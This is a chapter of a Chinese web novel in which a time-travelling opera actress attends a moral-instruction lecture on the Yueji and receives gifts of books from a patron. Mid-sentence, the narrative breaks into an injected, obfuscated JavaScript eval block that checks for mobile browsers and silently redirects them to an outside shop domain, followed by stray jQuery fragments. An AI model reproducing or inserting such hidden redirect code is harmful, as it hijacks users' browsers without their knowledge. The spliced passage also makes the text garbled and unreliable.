文趣网 > 其他小说 > 戏子如烟 > 16. 教化
    晨雾如白色的潮水,漫过江南的街巷,将烟雨楼的飞檐翘角淹没在一片朦胧之中。今日又是去教化所的一日,小豆子蹲在灶房门口,看着炉火发呆,秦桑在院子里练了一套拳,收势后站着不动,身上散发出的热气在风中散开,顾清坐在窗前抚琴,琴声断断续续,像在犹豫什么。汝嫣换了一身素净的衣裳,发间簪了一支木簪。云裳帮她整理衣领,手指微微发抖。

    云裳勉强地笑了笑,说道:“我真是觉得憋屈,咱们唱戏的,凭本事吃饭,凭什么要去听那些没用的教化?”

    汝嫣没有回答,因为她似乎也不知道答案。

    烟雨楼的大厅里,班主李全已经在门口等待。他特意换了一件长衫,脸上的表情像是去赴一场鸿门宴:“人都齐了吗?”

    “齐了。”

    这个时候,周岩拄着拐杖走了出来,说道:“我也跟着去吧。”

    班主李全摆了摆手,说道:“你腿脚不好,留在这里看门吧。”

    周岩摇了摇头,说道:“多个人,多张嘴。万一有什么事,我这张老脸还能挡一挡。”

    班主李全看了他一眼,没再说话。

    烟雨楼的一辆马车坐不下所有人,他们是走着去的,秦桑带着几个武生走在前面,步伐快得像要去打架,顾清和乐师们走在中间,沉默不语,汝嫣和云裳跟在后面,走在青石板路上。

    云裳眉头紧锁,说道:“师妹,你说这教化,到底要教什么?”

    汝嫣想了想,说道:“大概还是教一些唱戏的规矩。”

    云裳说道:“唱戏的规矩在台上,不在台下。台下遵守再多的规矩,台上唱不出好戏,也是白搭。”

    汝嫣没有接话,她想起自己学戏时师傅说的话:“台上无大小,台下立规矩。”

    只是到了这个时代,规矩似乎反了过来,台上要演活人,台下要做死人。

    教化所的青砖高墙将阳光挡在外面,走进去像是进了另一重天地。院子里已经站了不少人,除了烟雨楼,还有其他几家戏班子的戏子,三三两两聚在一起,脸色都不太好看。

    一个衙役站在廊下,手里拿着一本册子,挨个点名:“烟雨楼。”

    班主李全回应道:“在。”

    “到齐了?”

    “到齐了。”

    衙役抬眼扫了一圈,面无表情地说道:“进去找地方坐好,教谕大人马上就到。”

    教化所的堂屋很大,能容下不少人。堂屋里摆着长凳,坐着不太舒服。墙上是白灰抹的,什么字画也没有。前方摆了一张条案,案上放着一盏茶。

    各戏班子的伶人们依次落座,挤得满满当当。汝嫣坐在靠窗的位置,没有人说话。大约过了一盏茶的工夫,一阵脚步声从后堂传来。一个穿着半旧儒衫的人走了出来,他面色蜡黄,下巴蓄着一撮胡须,手里拿着一卷书。他走到条案后坐下,将书摊开,抬起眼皮扫了堂下一眼。那目光不凶,甚至有些木讷,但被扫过的人都不自觉地低下了头。

    “本官是本教化所的教谕,往后你们来这里听训,一般都是我来给你们讲,还望你们能虚心接受。”

    没有人应声。

    他也不在意,翻开书念道:“凡音之起,由人心生也。人心之动,物使之然也。感于物而动,故形于声……”

    汝嫣微微一怔,她原以为要念《朱子家训》或者《女诫》之类的东西,没想到是《乐记》。

    他念得很慢,一字一顿,念完一段,他抬起头说道:“这一段说的是音乐的来源,人心有感于外物,发而为声,声成文,谓之音。你们唱戏,唱的是什么?音从哪里来?心里没有,嘴上唱不出。”

    有人悄悄抬起了头。

    他继续说道:“你们有的人,心里是空的,只练嗓子不练心。嗓子练得再好,也是匠人,不是艺人。”

    教谕的这番话,让汝嫣想起现代教戏师傅也说过类似的话:“要学唱戏先学做人,心里没有东西,唱出来就是空的。”她一直以为自己懂,此刻却忽然觉得,自己可能没有真正理解。

    他继续往下念道:“乐者,通伦理者也。是故知声而不知音者,禽兽是也。知音而不知乐者,众庶是也。唯君子为能知乐。”

    他的目光扫过堂下的伶人,说道:“本官不指望你们成为君子,但至少不要做畜生。”

    堂下响起几声压抑的嗤笑,不知道是在笑他迂腐,还是在自嘲。汝嫣忽然意识到,这个教谕虽然迂阔,但他说的话并非全无道理。这个时代的戏曲理论,比她想象的深邃。而她从现代带来的那些所谓先进的理念,在这个时代的大师面前,或许只是另一种浅薄。

    “今日就到这里,散了吧。”

    堂下响起一阵骚动,长凳吱呀作响,伶人们纷纷起身。走出教化所的大门,阳光刺得人眼睛发酸。

    秦桑说道:“你们听他刚才说的话,不是骂人是什么?”

    云裳说道:“就算是骂人,他骂的是所有人,又不是只骂咱们。”

    顾清说道:“这位教谕,倒像是真心想教点什么。”

    然而此时的汝嫣在想,她唱了这么久的戏,唱的是教戏师傅教的技巧、身段和唱腔。她发现自己似乎未必真的懂戏。

    汝嫣说道:“师姐,你说咱们唱戏,到底是为了什么?”

    云裳说道:“当然是为了吃饭。”

    汝嫣说道:“除了吃饭呢?”

    云裳想了想,说道:“我小时候去看戏,台上唱的是《霸王别姬》,虞姬自刎的时候,我哭了。我当时不懂,后来自己学了戏,才慢慢明白。所以咱们唱戏,大概就是为了让台下的观众觉得这是真的。”

    汝嫣说道:“可如果连自己都不信,台下的观众怎么会信?”

    云裳沉默了。

    傍晚,莫萧来了。他没有穿劲装,而是穿着一件深灰色的长衫,腰间系着素色腰带,多了几分沉静。莫萧走到汝嫣旁边,说道:“你们今日去了教化所?”

    汝嫣点了点头。

    “怎么样?”

    “比想象的好。”

    两人在暮色中并肩站着,谁也没有再说话。莫萧的目光越过烟雨楼的院墙,望向远处渐渐暗下来的天边。

    前院传来一阵动静,班主李全带着几分意外和拘谨说道:“这是?”

    汝嫣和莫萧对视一眼,快步走向前院。门外停着一辆马车,那个眼熟的随从又来了,他正在指挥挑夫将几个箱子搬进院子。

    随从见汝嫣出来,行礼说道:“黄公子听闻烟雨楼开始接受教化,特意命小人送来几样东西。”

    班主李全打开最上面的一个箱子,里面整整齐齐放着几本古籍,书页泛黄,显然有些年头。他小心翼翼地拿起一本《乐府杂录》。

    随从说道:“黄公子说这些书放在他那里也是蒙尘,不如送给需要的人。姑娘精通音律,想必能从中有所悟。”

    他又打开另一个箱子,里面是一叠精致的戏单,纸张上乘

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17604433|204741||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ,印刷精美。

    随从取出一张戏单,说道:“这是京城别的戏班子近来的戏单,黄公子说姑娘可以看看京城别的戏班子都在唱什么戏,心里有个数。”

    汝嫣接过戏单,上面印着戏曲和伶人的名字。

    随从不再多言,行礼告辞。马车轮子声音远去,前院恢复了安静。戏班子的人围了上来,七嘴八舌地议论着那些古籍和戏单:“唐人手抄本?这得值多少银子?黄公子到底是什么人?出手是不是太阔绰了?”

    班主李全拿着那本《乐府杂录》,小心翼翼地翻开封皮,里面的字迹工整秀丽,墨色依然清晰可辨。他感叹道:“这是真正的宝物。”

    汝嫣看着他激动的样子,心中却有些复杂。黄公子送的这些礼物,说是好意,可每一件都恰到好处地击中了她在意的东西。他送的不是金银珠宝,而是她无法拒绝的东西。

    月光透过枝叶洒下来,在地上画出细碎的光影。教化所的教谕念的《乐记》,像种子一样落在心里,隐隐约约像是要长出什么东西。

    “凡音之起,由人心生也。”她说话的声音很小,小到只有自己能听见。

    她唱了那么多年的戏,从现代唱到这个时代,从排练厅唱到古戏台。可她真的想过,声音是从哪里来的吗?

    “感于物而动,故形于声。”

    她在想物是什么?是春日的花园?是杜丽娘眼中的姹紫嫣红?还是一个从异世飘来的孤魂,站在陌生的戏台上,看着满堂古人,心中那种说不清的惶恐?

    夜风拂过脸颊,带着深秋的凉意。远处的运河上有桨橹声,模糊而遥远。草丛里的秋虫在低吟,像是在给什么曲子伴奏。她忽然开口,轻轻地唱起了戏。不是排练时的唱法,不是教戏师傅教的身段,而是从心里流出的声音,像一片落叶,在夜风中打了几个旋,然后落在地上。这不像是她以往的唱腔,没有技巧,没有程式,甚至算不上好听。但是很真,真到她自己的眼眶微微发热。

    “你在唱什么?”莫萧的声音从身后传来。他手里提着一盏灯笼,光芒映在他脸上,让那双沉稳的眼睛多了几分柔和。

    “随便唱的。”

    莫萧走过来,在她旁边坐下,说道:“我听出来了,你又在唱《牡丹亭》。我不懂戏,但听你唱了这么多回,好坏还是分得清的。你以前唱得是好听,但是刚才那一声,好听不好听另说,像是钻到人心里去了。真正的好戏不只能让人拍手叫好的,还能让人听完之后,半天说不出话。我刚才听完,就不知道该说什么。”

    汝嫣忽然觉得,这个习武之人很懂戏曲的本质。

    他们这样并肩坐着,灯笼里的烛火跳了跳,在两人之间投下摇曳的光影。过了一会,汝嫣说道:“教谕说心里没有,嘴上唱不出。我以前觉得自己懂这句话,现在才发现,我根本不懂。但我至少知道了,以前缺的是什么。”

    莫萧拍了拍身上的灰,说道:“我送你回去。”

    汝嫣点了点头。

    两人沿着回廊走,灯笼的光在路上拖出长长的影子。莫萧停下来,把灯笼递给她。莫萧转身要走,又停下,背对着她说道:“教谕的话,你觉得对的就听,不对的就别听。他是他,你是你。戏该怎么唱,只有你自己知道。”说完他大步流星地走进了夜色中。

    汝嫣握着灯笼站在原地,看着他消失的方向,心中涌起一股暖意。窗外的月亮渐渐升高,教化所里的教谕还坐在条案前,在泛黄的书页上写着什么。